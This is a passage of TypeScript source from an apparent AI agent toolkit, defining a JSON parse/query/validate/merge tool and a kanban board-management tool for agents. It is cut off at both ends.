'@wrongstack/core/utils';\nimport type { Context } from '@wrongstack/core/agent';\nimport type { Tool } from '@wrongstack/core/types';\nimport { safeResolveReal } from './_util.js';\n\n// ---------------------------------------------------------------------------\n// Types\n// ---------------------------------------------------------------------------\n\ntype JsonAction = 'parse' | 'query' | 'validate' | 'transform' | 'merge';\n\ninterface JsonInput {\n /** Operation to perform. Defaults to 'parse'. */\n action?: JsonAction | undefined;\n\n // --- parse / query / validate (single data source) ---\n /** Path to JSON/JSON5/YAML file (alternative to `data`). */\n file?: string | undefined;\n /** Inline JSON/JSON5/YAML string (alternative to `file`). */\n data?: string | undefined;\n /** Output format for parse/query/transform results. */\n format?: 'json' | 'json5' | 'yaml' | undefined;\n\n // --- parse: validate syntax only ---\n validate?: boolean | undefined;\n\n // --- query / transform ---\n /** JMESPath-like query expression. */\n query?: string | undefined;\n /** Ordered JMESPath transforms (transform action only). */\n transforms?: string[] | undefined;\n\n // --- validate against schema ---\n /** JSON Schema to validate against. */\n schema?: Record<string, unknown> | undefined;\n\n // --- merge ---\n /** Base object for merge. */\n base?: unknown | undefined;\n /** Patch object for merge. */\n patch?: unknown | undefined;\n /** Merge conflict resolution: 'prefer-patch' (default) or 'prefer-base'. */\n conflictResolution?: 'prefer-base' | 'prefer-patch' | undefined;\n}\n\ninterface JsonOutput {\n data: unknown;\n formatted: string;\n type: string;\n action: string;\n keys?: string[] | undefined;\n query_result?: unknown | undefined;\n result?: unknown | undefined;\n valid?: boolean | undefined;\n errors?: string[] | undefined;\n steps?: Array<{ transform: string; result: unknown }> | undefined;\n error?: string | undefined;\n}\n\nexport const jsonTool: Tool<JsonInput, JsonOutput> = {\n name: 'json',\n category: 'Data',\n description:\n 'Parse, pretty-print, query, validate, transform, and merge JSON/JSON5/YAML. Use `action` to select the operation: parse (default), query, validate, transform, or merge.',\n usageHint:\n 'VERY USEFUL FOR DATA INSPECTION:\\n\\n' +\n '- `action: \"parse\"` (default): read/pretty-print/convert JSON, JSON5, or YAML from `file` or `data`.\\n' +\n '- `action: \"query\"`: JMESPath-like query (`a.b[0].c`, `items[*].name`, filters, functions).\\n' +\n '- `action: \"validate\"`: validate data against a JSON Schema (`schema` param).\\n' +\n '- `action: \"transform\"`: chain multiple JMESPath transforms (`transforms` param).\\n' +\n '- `action: \"merge\"`: deep merge `base` and `patch` objects (`conflictResolution` param).\\n' +\n 'Prefer this over raw `read` + manual parsing when dealing with configuration or data files.',\n permission: 'auto',\n mutating: false,\n timeoutMs: 5_000,\n capabilities: ['fs.read'],\n icon: 'json',\n inputSchema: {\n type: 'object',\n properties: {\n action: {\n type: 'string',\n enum: ['parse', 'query', 'validate', 'transform', 'merge'],\n description: 'Operation (default: parse). parse=read/pretty-print, query=JMESPath, validate=schema, transform=chained queries, merge=deep merge.',\n },\n file: { type: 'string', description: 'Path to JSON/JSON5/YAML file (parse/query/validate)' },\n data: { type: 'string', description: 'JSON/JSON5/YAML string (parse/query/validate, alternative to file)' },\n format: {\n type: 'string',\n enum: ['json', 'json5', 'yaml'],\n description: 'Output format for parse/query/transform (default: json)',\n },\n query: {\n type: 'string',\n description: 'JMESPath-like query expression (query action)',\n },\n transforms: {\n type: 'array',\n items: { type: 'string' },\n description: 'Ordered JMESPath query strings (transform action)',\n },\n schema: {\n type: 'object',\n description: 'JSON Schema to validate against (validate action)',\n },\n base: { description: 'Base JSON object (merge action)' },\n patch: { description: 'Patch JSON object to merge in (merge action)' },\n conflictResolution: {\n type: 'string',\n enum: ['prefer-base', 'prefer-patch'],\n description: 'Merge conflict resolution (default: prefer-patch)',\n },\n validate: {\n type: 'boolean',\n description: 'Validate syntax only, no output (parse action, default: false)',\n },\n },\n },\n async execute(input, ctx) {\n const action = input.action ?? 'parse';\n\n switch (action) {\n case 'query':\n return executeQuery(input, ctx);\n case 'validate':\n return executeValidate(input, ctx);\n case 'transform':\n return executeTransform(input, ctx);\n case 'merge':\n return executeMerge(input);\n default:\n return executeParse(input, ctx);\n }\n },\n};\n\n// ---------------------------------------------------------------------------\n// Action: parse (default \u2014 the original json tool behavior)\n// ---------------------------------------------------------------------------\n\nasync function executeParse(input: JsonInput, ctx: Context): Promise<JsonOutput> {\n const format = input.format ?? 'json';\n\n let parsed: unknown;\n let raw: string;\n\n if (input.file) {\n try {\n raw = await fs.readFile(await safeResolveReal(input.file, ctx), 'utf8');\n } catch {\n return { data: null, formatted: '', type: 'unknown', action: 'parse', error: 'Could not read file' };\n }\n } else if (input.data) {\n raw = input.data;\n } else {\n return { data: null, formatted: '', type: 'unknown', action: 'parse', error: 'Provide file or data' };\n }\n\n try {\n parsed = JSON.parse(raw);\n } catch (e) {\n return {\n data: null,\n formatted: '',\n type: 'unknown',\n action: 'parse',\n /* v8 ignore next -- JSON.parse only throws SyntaxError (an Error); the String(e) side is defensive. */\n error: `Parse failed: ${e instanceof Error ? e.message : String(e)}`,\n };\n }\n\n if (input.validate) {\n return {\n data: parsed,\n formatted: 'valid',\n type: Array.isArray(parsed) ? 'array' : typeof parsed,\n action: 'parse',\n keys:\n typeof parsed === 'object' && parsed !== null ? Object.keys(parsed as object) : undefined,\n };\n }\n\n // Backward compat: if `query` is provided without an explicit action,\n // use the original simple path-based query (supports `a.b[0].c` notation).\n if (input.query) {\n const queryResult = simpleQuery(parsed, input.query);\n const formatted = formatOutput(queryResult, format);\n return {\n data: parsed,\n formatted,\n type: Array.isArray(parsed) ? 'array' : typeof parsed,\n action: 'parse',\n keys:\n typeof parsed === 'object' && parsed !== null ? Object.keys(parsed as object) : undefined,\n query_result: queryResult,\n };\n }\n\n const formatted = formatOutput(parsed, format);\n\n return {\n data: parsed,\n formatted,\n type: Array.isArray(parsed) ? 'array' : typeof parsed,\n action: 'parse',\n keys:\n typeof parsed === 'object' && parsed !== null ? Object.keys(parsed as object) : undefined,\n };\n}\n\n// ---------------------------------------------------------------------------\n// Action: query (JMESPath-like \u2014 from json-path plugin)\n// ---------------------------------------------------------------------------\n\nasync function executeQuery(input: JsonInput, ctx: Context): Promise<JsonOutput> {\n if (!input.query) {\n return { data: null, formatted: '', type: 'unknown', action: 'query', error: 'query is required for action: query' };\n }\n\n let parsed: unknown;\n if (input.file) {\n try {\n const raw = await fs.readFile(await safeResolveReal(input.file, ctx), 'utf8');\n parsed = JSON.parse(raw);\n } catch {\n return { data: null, formatted: '', type: 'unknown', action: 'query', error: 'Could not read/parse file' };\n }\n } else if (input.data) {\n try {\n parsed = JSON.parse(input.data);\n } catch {\n return { data: null, formatted: '', type: 'unknown', action: 'query', error: 'Could not parse data string' };\n }\n } else {\n return { data: null, formatted: '', type: 'unknown', action: 'query', error: 'Provide file or data' };\n }\n\n try {\n const result = jmespathSearch(parsed, input.query);\n const format = input.format ?? 'json';\n return {\n data: parsed,\n formatted: formatOutput(result, format),\n type: result === null ? 'null' : Array.isArray(result) ? 'array' : typeof result,\n action: 'query',\n query_result: result,\n };\n } catch (e) {\n return {\n data: null,\n formatted: '',\n type: 'unknown',\n action: 'query',\n /* v8 ignore next -- defensive String(e) */\n error: `Query failed: ${e instanceof Error ? e.message : String(e)}`,\n };\n }\n}\n\n// ---------------------------------------------------------------------------\n// Action: validate (JSON Schema \u2014 from json-path plugin)\n// ---------------------------------------------------------------------------\n\nasync function executeValidate(input: JsonInput, ctx: Context): Promise<JsonOutput> {\n if (!input.schema) {\n return { data: null, formatted: '', type: 'unknown', action: 'validate', error: 'schema is required for action: validate' };\n }\n\n let parsed: unknown;\n if (input.file) {\n try {\n const raw = await fs.readFile(await safeResolveReal(input.file, ctx), 'utf8');\n parsed = JSON.parse(raw);\n } catch {\n return { data: null, formatted: '', type: 'unknown', action: 'validate', error: 'Could not read/parse file' };\n }\n } else if (input.data) {\n try {\n parsed = JSON.parse(input.data);\n } catch {\n return { data: null, formatted: '', type: 'unknown', action: 'validate', error: 'Could not parse data string' };\n }\n } else {\n return { data: null, formatted: '', type: 'unknown', action: 'validate', error: 'Provide file or data' };\n }\n\n try {\n const { valid, errors } = validateJsonSchema(parsed, input.schema as Record<string, unknown>);\n return {\n data: parsed,\n formatted: valid ? 'valid' : 'invalid',\n type: Array.isArray(parsed) ? 'array' : typeof parsed,\n action: 'validate',\n valid,\n errors,\n };\n } catch (e) {\n return {\n data: null,\n formatted: '',\n type: 'unknown',\n action: 'validate',\n /* v8 ignore next -- defensive String(e) */\n error: `Validation failed: ${e instanceof Error ? e.message : String(e)}`,\n };\n }\n}\n\n// ---------------------------------------------------------------------------\n// Action: transform (chained JMESPath \u2014 from json-path plugin)\n// ---------------------------------------------------------------------------\n\nasync function executeTransform(input: JsonInput, ctx: Context): Promise<JsonOutput> {\n if (!input.transforms || input.transforms.length === 0) {\n return { data: null, formatted: '', type: 'unknown', action: 'transform', error: 'transforms array is required for action: transform' };\n }\n\n let parsed: unknown;\n if (input.file) {\n try {\n const raw = await fs.readFile(await safeResolveReal(input.file, ctx), 'utf8');\n parsed = JSON.parse(raw);\n } catch {\n return { data: null, formatted: '', type: 'unknown', action: 'transform', error: 'Could not read/parse file' };\n }\n } else if (input.data) {\n try {\n parsed = JSON.parse(input.data);\n } catch {\n return { data: null, formatted: '', type: 'unknown', action: 'transform', error: 'Could not parse data string' };\n }\n } else {\n return { data: null, formatted: '', type: 'unknown', action: 'transform', error: 'Provide file or data' };\n }\n\n try {\n let current: unknown = parsed;\n const steps: Array<{ transform: string; result: unknown }> = [];\n\n for (const t of input.transforms) {\n current = jmespathSearch(current, t);\n steps.push({ transform: t, result: current });\n }\n\n const format = input.format ?? 'json';\n return {\n data: parsed,\n formatted: formatOutput(current, format),\n type: current === null ? 'null' : Array.isArray(current) ? 'array' : typeof current,\n action: 'transform',\n result: current,\n steps,\n };\n } catch (e) {\n return {\n data: null,\n formatted: '',\n type: 'unknown',\n action: 'transform',\n /* v8 ignore next -- defensive String(e) */\n error: `Transform failed: ${e instanceof Error ? e.message : String(e)}`,\n };\n }\n}\n\n// ---------------------------------------------------------------------------\n// Action: merge (deep merge \u2014 from json-path plugin)\n// ---------------------------------------------------------------------------\n\nasync function executeMerge(input: JsonInput): Promise<JsonOutput> {\n if (input.base === undefined || input.patch === undefined) {\n return { data: null, formatted: '', type: 'unknown', action: 'merge', error: 'base and patch are required for action: merge' };\n }\n\n const conflictResolution = input.conflictResolution ?? 'prefer-patch';\n\n try {\n const result = deepMergeCore(input.base, input.patch, { conflictResolution });\n const format = input.format ?? 'json';\n return {\n data: result,\n formatted: formatOutput(result, format),\n type: result === null ? 'null' : Array.isArray(result) ? 'array' : typeof result,\n action: 'merge',\n result,\n };\n } catch (e) {\n return {\n data: null,\n formatted: '',\n type: 'unknown',\n action: 'merge',\n /* v8 ignore next -- defensive String(e) */\n error: `Merge failed: ${e instanceof Error ? e.message : String(e)}`,\n };\n }\n}\n\n// ---------------------------------------------------------------------------\n// JMESPath implementation (from json-path plugin)\n// ---------------------------------------------------------------------------\n\nfunction jmespathSearch(data: unknown, query: string): unknown {\n // Handle basic JMESPath expressions\n if (!query || query === '@') return data;\n\n // Root access\n if (query === '$') return data;\n\n // Dot notation: foo.bar\n const dotMatch = query.match(/^([a-zA-Z_][a-zA-Z0-9_]*)(?:\\.(.+))?$/);\n if (dotMatch) {\n const key = dotMatch[1]!;\n const rest = dotMatch[2];\n const val = (data as Record<string, unknown> | undefined)?.[key];\n if (rest === undefined) return val;\n return jmespathSearch(val, rest);\n }\n\n // Array access: [0]\n const arrMatch = query.match(/^\\[(\\d+)\\](?:\\.(.+))?$/);\n if (arrMatch) {\n const idx = Number.parseInt(arrMatch[1]!, 10);\n const rest = arrMatch[2];\n const arr = data as unknown[];\n const val = arr?.[idx];\n if (rest === undefined) return val;\n return jmespathSearch(val, rest);\n }\n\n // Wildcard: [*]\n if (query === '[*]') {\n if (Array.isArray(data)) {\n return data;\n }\n return data;\n }\n\n // Multi-select: foo.bar[*].baz\n const multiMatch = query.match(/^([a-zA-Z_][a-zA-Z0-9_]*)\\[\\*\\](?:\\.(.+))?$/);\n if (multiMatch) {\n const key = multiMatch[1]!;\n const rest = multiMatch[2];\n const arr = (data as Record<string, unknown[]> | undefined)?.[key];\n if (!Array.isArray(arr)) return [];\n if (rest === undefined) return arr;\n return arr.map((item) => jmespathSearch(item, rest));\n }\n\n // Filter: [?foo==`bar`]\n const filterMatch = query.match(/^\\[\\\\?([a-zA-Z_][a-zA-Z0-9_]*)(==|!=|<|>|<=|>=)(`[^`]+`|'[^']*')\\](?:\\.(.+))?$/);\n if (filterMatch) {\n const field = filterMatch[1]!;\n const op = filterMatch[2]!;\n const rawVal = filterMatch[3]!;\n const rest = filterMatch[4];\n const cmpVal = JSON.parse(rawVal.slice(1, -1));\n const arr = data as Record<string, unknown>[];\n if (!Array.isArray(arr)) return [];\n const filtered = arr.filter((item) => {\n const itemVal = (item as Record<string, unknown>)[field];\n switch (op) {\n case '==': return itemVal === cmpVal;\n case '!=': return itemVal !== cmpVal;\n case '>': return Number(itemVal) > Number(cmpVal);\n case '<': return Number(itemVal) < Number(cmpVal);\n case '>=': return Number(itemVal) >= Number(cmpVal);\n case '<=': return Number(itemVal) <= Number(cmpVal);\n /* v8 ignore next -- op is constrained to the six operators by the filter regex; default is unreachable. */\n default: return true;\n }\n });\n if (rest === undefined) return filtered;\n return filtered.map((item) => jmespathSearch(item, rest));\n }\n\n // Function calls: length(@)\n const fnMatch = query.match(/^(length|keys|values|type)\\(@\\)$/);\n if (fnMatch) {\n const fn = fnMatch[1]!;\n switch (fn) {\n case 'length':\n if (Array.isArray(data)) return data.length;\n if (typeof data === 'string') return data.length;\n if (typeof data === 'object' && data !== null) return Object.keys(data as object).length;\n return 0;\n case 'keys':\n if (typeof data === 'object' && data !== null && !Array.isArray(data)) return Object.keys(data as object);\n return [];\n case 'values':\n if (typeof data === 'object' && data !== null && !Array.isArray(data)) return Object.values(data as object);\n return [];\n case 'type':\n if (data === null) return 'null';\n if (Array.isArray(data)) return 'array';\n return typeof data;\n /* v8 ignore next 2 -- fn is constrained to the four names by the function regex; default is unreachable. */\n default:\n return null;\n }\n }\n\n return null;\n}\n\n// ---------------------------------------------------------------------------\n// JSON Schema validator (from json-path plugin)\n// ---------------------------------------------------------------------------\n\nfunction validateJsonSchema(data: unknown, schema: Record<string, unknown>): { valid: boolean; errors: string[] } {\n const errors: string[] = [];\n\n function check(value: unknown, s: Record<string, unknown>, path: string): void {\n if (s['type']) {\n const expectedType = s['type'] as string;\n const actualType = Array.isArray(value) ? 'array' : value === null ? 'null' : typeof value;\n if (expectedType === 'integer') {\n if (!Number.isInteger(value)) errors.push(`${path}: expected integer, got ${actualType}`);\n } else if (expectedType !== actualType) {\n errors.push(`${path}: expected ${expectedType}, got ${actualType}`);\n }\n }\n\n if (typeof value === 'string' && s['format'] === 'uri' && value) {\n try { new URL(value); } catch { errors.push(`${path}: not a valid URI`); }\n }\n\n if (typeof value === 'string' && s['pattern']) {\n const re = new RegExp(s['pattern'] as string);\n if (!re.test(value)) errors.push(`${path}: does not match pattern ${s['pattern']}`);\n }\n\n if (typeof value === 'string' && s['minLength'] !== undefined && value.length < (s['minLength'] as number)) {\n errors.push(`${path}: string too short (min ${s['minLength']})`);\n }\n\n if (typeof value === 'string' && s['maxLength'] !== undefined && value.length > (s['maxLength'] as number)) {\n errors.push(`${path}: string too long (max ${s['maxLength']})`);\n }\n\n if (typeof value === 'number' && s['minimum'] !== undefined && value < (s['minimum'] as number)) {\n errors.push(`${path}: below minimum ${s['minimum']}`);\n }\n\n if (typeof value === 'number' && s['maximum'] !== undefined && value > (s['maximum'] as number)) {\n errors.push(`${path}: above maximum ${s['maximum']}`);\n }\n\n if (Array.isArray(value) && s['items'] && Array.isArray(s['items'])) {\n for (let i = 0; i < value.length; i++) {\n check(value[i], s['items'] as never as Record<string, unknown>, `${path}[${i}]`);\n }\n }\n\n if (typeof value === 'object' && value !== null && !Array.isArray(value) && s['properties']) {\n const props = s['properties'] as Record<string, Record<string, unknown>>;\n for (const [k, propSchema] of Object.entries(props)) {\n check((value as Record<string, unknown>)[k], propSchema, `${path}.${k}`);\n }\n }\n }\n\n check(data, schema, '$');\n return { valid: errors.length === 0, errors };\n}\n\n// ---------------------------------------------------------------------------\n// Simple path-based query (original json tool query, backward compat)\n// ---------------------------------------------------------------------------\n\nfunction simpleQuery(data: unknown, path: string): unknown {\n const parts = path\n .replace(/\\[(\\d+)\\]/g, '.$1')\n .split('.')\n .filter(Boolean);\n let current: unknown = data;\n\n for (const part of parts) {\n if (current === null || current === undefined) return undefined;\n\n const idx = Number(part);\n if (!Number.isNaN(idx) && Array.isArray(current)) {\n current = current[idx];\n } else if (typeof current === 'object' && current !== null) {\n current = (current as Record<string, unknown>)[part];\n } else {\n return undefined;\n }\n }\n\n return current;\n}\n\n// ---------------------------------------------------------------------------\n// Output formatting (original json tool helpers)\n// ---------------------------------------------------------------------------\n\nfunction formatOutput(data: unknown, format: string): string {\n if (format === 'json5') {\n return JSON.stringify(data, null, 2)\n .replace(/,\\s*}/g, '}')\n .replace(/,\\s*\\]/g, ']');\n }\n if (format === 'yaml') {\n return toYaml(data);\n }\n return JSON.stringify(data, null, 2);\n}\n\nfunction toYaml(data: unknown, indent = 0): string {\n if (data === null) return 'null\\n';\n /* v8 ignore next -- parsed JSON never contains `undefined`; defensive for recursive calls. */\n if (data === undefined) return '';\n if (typeof data === 'boolean') return String(data) + '\\n';\n if (typeof data === 'number') return String(data) + '\\n';\n if (typeof data === 'string') {\n if (data.includes('\\n') || data.includes(':') || data.includes('#')) {\n return `\"${data.replace(/\\\\/g, '\\\\\\\\').replace(/\"/g, '\\\\\"')}\"\\n`;\n }\n return data + '\\n';\n }\n if (Array.isArray(data)) {\n if (data.length === 0) return '[]\\n';\n const prefix = ' '.repeat(indent);\n return data.map((item) => `${prefix}- ${toYaml(item, indent + 1).trimStart()}`).join('');\n }\n if (typeof data === 'object') {\n const prefix = ' '.repeat(indent);\n const entries = Object.entries(data as Record<string, unknown>);\n return entries.map(([k, v]) => `${prefix}${k}: ${toYaml(v, indent + 1)}`).join('');\n }\n /* v8 ignore next -- JSON.parse only yields null/bool/number/string/array/object; this fallback is defensive. */\n return String(data) + '\\n';\n}\n", "// Kanban data model + manager moved from @wrongstack/core to the standalone\n// @wrongstack/kanban package; only the Tool contract and the task-graph\n// serialization types still come from core.\nimport { deserializeTaskGraph, serializeTaskGraph } from '@wrongstack/core/tasking';\nimport type { SerializableTaskGraph, Tool } from '@wrongstack/core/types';\nimport { loadTasks } from '@wrongstack/core/storage';\nimport {\n addColumn,\n addTask,\n adoptManagedLifecycle,\n assignTask,\n claimReadyTask,\n copyTaskToBoard,\n createBoard,\n createBoardFromTaskGraph,\n duplicateBoard,\n exportBoardAsMarkdown,\n exportBoardToTaskGraph,\n createBoardFromText,\n getBoard,\n getKanbanOrchestrationSnapshot,\n getKanbanQueueHealth,\n getTask,\n getTaskChain,\n heartbeatTaskAssignment,\n listBoards,\n listKanbanEvents,\n listReadyTasks,\n mergeTasks,\n moveTask,\n parseLinesIntoTasks,\n recoverStaleTaskAssignments,\n repairManagedTaskProjection,\n releaseTaskClaim,\n removeBoard,\n removeColumn,\n removeTask,\n searchKanban,\n setTaskChain,\n syncBoardFromTaskGraph,\n transitionTask,\n transferTaskToBoard,\n updateBoard,\n updateColumn,\n updateTask,\n updateTaskAssignment,\n verifyTaskCompletion,\n finalizeTaskCompletion,\n} from '@wrongstack/kanban';\nimport { recordKanbanVerificationEvidence } from './kanban-evidence-bridge.js';\nimport { handleKanbanDecompositionAction } from './kanban-decomposition-actions.js';\nimport { handleKanbanDetailAction } from './kanban-detail-actions.js';\nimport {\n boardCreateInput,\n boardUpdatePatch,\n duplicateBoardOptions,\n} from './kanban-board-inputs.js';\nimport {\n atomicityNudge,\n fail,\n okBoard,\n okTask,\n readEnvGateEnforcement,\n} from './kanban-tool-results.js';\nimport { assignmentInput, taskInput, taskPatch } from './kanban-task-inputs.js';\nimport {\n KANBAN_INPUT_SCHEMA,\n KANBAN_TOOL_DESCRIPTION,\n KANBAN_TOOL_USAGE_HINT,\n} from './kanban-tool-schema.js';\nimport type { KanbanToolInput, KanbanToolOutput } from './kanban-tool-types.js';\nimport { handleSplitTask, requireBoard } from './kanban-split-task-handler.js';\nimport { createKanbanPresenceWrapper } from './kanban-presence.js';\nimport { taskFileToSerializedGraph } from './session-kanban.js';\n\nexport const kanbanTool: Tool<KanbanToolInput, KanbanToolOutput> = {\n name: 'kanban',\n category: 'Project',\n description: KANBAN_TOOL_DESCRIPTION,\n usageHint: KANBAN_TOOL_USAGE_HINT,\n permission: 'confirm',\n mutating: true,\n capabilities: ['fs.write'],\n icon: 'task',\n timeoutMs: 30_000,\n inputSchema: KANBAN_INPUT_SCHEMA,\n async execute(input, ctx) {\n const projectRoot = ctx.projectRoot;\n if (!projectRoot) return fail('No project root is available.');\n\n const withPresence = createKanbanPresenceWrapper(projectRoot, input, ctx);\n\n try {\n const result = await (async (): Promise<KanbanToolOutput> => {\n const decompositionResult = await handleKanbanDecompositionAction(projectRoot, input, ctx);\n if (decompositionResult !== undefined) return decompositionResult;\n switch (input.action) {\n case 'list_boards': {\n const boards = await listBoards(projectRoot);\n return { ok: true, message: `${boards.length} board(s).`, boards };\n }\n case 'get_board': {\n const board = await requireBoard(projectRoot, input.boardId);\n return board ? okBoard(board) : fail('Board not found.');\n }\n case 'create_board': {\n if (!input.title) return fail('create_board requires title.');\n const board = await createBoard(projectRoot, boardCreateInput(input, input.title));\n return { ok: true, message: `Board created: ${board.title}`, board };\n }\n case 'update_board': {\n if (!input.boardId) return fail('update_board requires boardId.');\n const board = await updateBoard(projectRoot, input.boardId, boardUpdatePatch(input));\n return board ? okBoard(board, 'Board updated.') : fail('Board not found.');\n }\n case 'adopt_managed_lifecycle': {\n if (!input.boardId || !input.author || !input.transitionComment) {\n return fail(\n 'adopt_managed_lifecycle requires boardId, author, transitionComment, and five ordered columns.',\n );\n }\n if (input.columns?.length !== 5) {\n return fail(\n 'adopt_managed_lifecycle columns must be ordered as backlog, todo, running, review, done.',\n );\n }\n const [backlog, todo, running, review, done] = input.columns;\n if (!backlog || !todo || !running || !review || !done) {\n return fail('adopt_managed_lifecycle columns must contain five nonblank ids.');\n }\n const board = await adoptManagedLifecycle(projectRoot, input.boardId, {\n columns: { backlog, todo, running, review, done },\n actor: input.author,\n comment: input.transitionComment,\n });\n return board\n ? okBoard(board, 'Managed lifecycle adopted without moving existing cards.')\n : fail('Board not found.');\n }\n case 'duplicate_board': {\n if (!input.boardId) return fail('duplicate_board requires boardId.');\n const board = await duplicateBoard(projectRoot, input.boardId, duplicateBoardOptions(input));\n return board ? okBoard(board, 'Board duplicated.') : fail('Board not found.');\n }\n case 'delete_board': {\n if (!input.boardId) return fail('delete_board requires boardId.');\n const removed = await removeBoard(projectRoot, input.boardId);\n return { ok: removed, message: removed ? 'Board deleted.' : 'Board not found.' };\n }\n case 'generate_board': {\n if (!input.description) return fail('generate_board requires description.');\n const boardInput = createBoardFromText({\n description: input.description,\n ...(input.title !== undefined ? { title: input.title } : {}),\n ...(input.context !== undefined ? { context: input.context } : {}),\n ...(input.columns !== undefined ? { columns: input.columns } : {}),\n });\n const board = await createBoard(projectRoot, boardInput);\n for (const taskInput of parseLinesIntoTasks(\n input.description,\n board.columns[0]?.id ?? 'backlog',\n )) {\n await addTask(projectRoot, board.id, taskInput);\n }\n return okBoard((await getBoard(projectRoot, board.id)) ?? board, 'Board generated.');\n }\n case 'export_markdown': {\n const board = await requireBoard(projectRoot, input.boardId);\n if (!board) return fail('Board not found.');\n return {\n ok: true,\n message: 'Board exported.',\n board,\n markdown: exportBoardAsMarkdown(board),\n };\n }\n case 'export_task_graph': {\n if (!input.boardId) return fail('export_task_graph requires boardId.');\n const exported = await exportBoardToTaskGraph(projectRoot, input.boardId, {\n ...(input.graphId !== undefined ? { graphId: input.graphId } : {}),\n ...(input.specId !== undefined ? { specId: input.specId } : {}),\n ...(input.title !== undefined ? { title: input.title } : {}),\n ...(input.preserveOriginTaskIds !== undefined\n ? { preserveOriginTaskIds: input.preserveOriginTaskIds }\n : {}),\n ...(input.includeArchived !== undefined\n ? { includeArchived: input.includeArchived }\n : {}),\n });\n if (!exported) return fail('Board not found.');\n return {\n ok: true,\n message: `Task graph exported with ${exported.graph.nodes.size} node(s).`,\n board: exported.board,\n taskGraph: serializeTaskGraph(exported.graph),\n };\n }\n case 'sync_task_graph': {\n if (!input.boardId || !input.taskGraph) {\n return fail('sync_task_graph requires boardId and taskGraph.');\n }\n const graph = deserializeTaskGraph(input.taskGraph as SerializableTaskGraph);\n const result = await syncBoardFromTaskGraph(projectRoot, input.boardId, graph, {\n ...(input.title !== undefined ? { title: input.title } : {}),\n ...(input.description !== undefined ? { description: input.description } : {}),\n ...(input.tags !== undefined ? { tags: input.tags } : {}),\n ...(input.generatedBy !== undefined ? { generatedBy: input.generatedBy } : {}),\n ...(input.sourceSystem !== undefined ? { sourceSystem: input.sourceSystem } : {}),\n ...(input.phaseId !== undefined ? { phaseId: input.phaseId } : {}),\n ...(input.includeCompletedTasks !== undefined\n ? { includeCompletedTasks: input.includeCompletedTasks }\n : {}),\n ...(input.archiveMissingTasks !== undefined\n ? { archiveMissingTasks: input.archiveMissingTasks }\n : {}),\n ...(input.preserveManualDependencies !== undefined\n ? { preserveManualDependencies: input.preserveManualDependencies }\n : {}),\n });\n return result\n ? {\n ok: true,\n message: `Task graph synced: ${result.createdTaskIds.length} created, ${result.updatedTaskIds.length} updated, ${result.archivedTaskIds.length} archived.`,\n board: result.board,\n }\n : fail('Board not found.');\n }\n case 'create_from_graph': {\n if (!input.taskGraph) return fail('create_from_graph requires taskGraph.');\n const graph = deserializeTaskGraph(input.taskGraph as SerializableTaskGraph);\n const { board } = await createBoardFromTaskGraph(projectRoot, graph, {\n ...(input.title !== undefined ? { title: input.title } : {}),\n ...(input.description !== undefined ? { description: input.description } : {}),\n ...(input.tags !== undefined ? { tags: input.tags } : {}),\n ...(input.generatedBy !== undefined ? { generatedBy: input.generatedBy } : {}),\n ...(input.sourceSystem !== undefined ? { sourceSystem: input.sourceSystem } : {}),\n ...(input.phaseId !== undefined ? { phaseId: input.phaseId } : {}),\n ...(input.includeCompletedTasks !== undefined\n ? { includeCompletedTasks: input.includeCompletedTasks }\n : {}),\n });\n return {\n ok: true,\n message: `Created board \"${board.title}\" from task graph with ${board.tasks.length} tasks.`,\n board,\n };\n }\n case 'import_session_tasks': {\n // One-way projection: mirror this session's `.tasks.json` (the `task`\n // tool's list) into a kanban board so session work shows up on a board\n // without swapping the task tool's storage. Origin-keyed + re-runnable.\n const taskPath = (ctx.meta as Record<string, unknown>)?.['task.path'] as\n | string\n | undefined;\n if (!taskPath) return fail('No session task file for this session.');\n const file = await loadTasks(taskPath);\n if (!file || file.tasks.length === 0) return fail('No session tasks to import.');\n const sessionId = ctx.session?.id ?? file.sessionId ?? 'session';\n const graph = deserializeTaskGraph(taskFileToSerializedGraph(file.tasks, sessionId));\n const tags = ['session', `session:${sessionId}`];\n const existing = (await listBoards(projectRoot)).find((b) =>\n b.tags?.includes(`session:${sessionId}`),\n );\n if (existing) {\n const result = await syncBoardFromTaskGraph(projectRoot, existing.id, graph, {\n sourceSystem: 'session',\n tags,\n archiveMissingTasks: true,\n includeCompletedTasks: true,\n });\n return result\n ? {\n ok: true,\n message: `Synced ${file.tasks.length} session tasks into board \"${result.board.title}\".`,\n board: result.board,\n }\n : fail('Session board vanished mid-sync.');\n }\n const { board } = await createBoardFromTaskGraph(projectRoot, graph, {\n title: `Session tasks (${sessionId.slice(0, 8)})`,\n sourceSystem: 'session',\n tags,\n });\n return {\n ok: true,\n message: `Imported ${file.tasks.length} session tasks into new board \"${board.title}\".`,\n board,\n };\n }\n case 'search_tasks': {\n const tasks = await searchKanban(projectRoot, {\n query: input.query,\n boardId: input.boardId,\n assignedAgent: input.agentId,\n status: input.status,\n priority: input.priority,\n label: input.labels?.[0],\n chainId: input.chainId,\n });\n return { ok: true, message: `${tasks.length} task(s) matched.`, tasks };\n }\n case 'ready_tasks': {\n const tasks = await listReadyTasks(projectRoot, {\n query: input.query,\n boardId: input.boardId,\n assignedAgent: input.agentId,\n priority: input.priority,\n label: input.labels?.[0],\n chainId: input.chainId,\n limit: input.limit,\n });\n return { ok: true, message: `${tasks.length} ready task(s).`, tasks };\n }\n case 'snapshot': {\n const snapshot = await getKanbanOrchestrationSnapshot(projectRoot, {\n query: input.query,\n boardId: input.boardId,\n assignedAgent: input.agentId,\n status: input.status,\n priority: input.priority,\n label: input.labels?.[0],\n chainId: input.chainId,\n });\n return {\n ok: true,\n message: `${snapshot.ready.length} ready, ${snapshot.running.length} running, ${snapshot.blocked.length} blocked.`,\n snapshot,\n };\n }\n case 'add_column': {\n if (!input.boardId || !input.title) return fail('add_column requires boardId and title.');\n const result = await addColumn(projectRoot, input.boardId, {\n title: input.title,\n ...(input.description !== undefined ? { description: input.description } : {}),\n });\n return result ? okBoard(result.board, 'Column added.') : fail('Board not found.');\n }\n case 'update_column': {\n if (!input.boardId || !input.columnId)\n return fail('update_column requires boardId and columnId.');\n const board = await updateColumn(projectRoot, input.boardId, input.columnId, {\n ...(input.title !== undefined ? { title: input.title } : {}),\n ...(input.description !== undefined ? { description: input.description } : {}),\n ...(input.order !== undefined ? { order: input.order } : {}),\n });\n return board ? okBoard(board, 'Column updated.') : fail('Column not found.');\n }\n case 'delete_column': {\n if (!input.boardId || !input.columnId)\n return fail('delete_column requires boardId and columnId.');\n const board = await removeColumn(projectRoot, input.boardId, input.columnId, {\n moveTasksToColumnId: input.moveTasksToColumnId,\n });\n return board ? okBoard(board, 'Column deleted.') : fail('Column not found.');\n 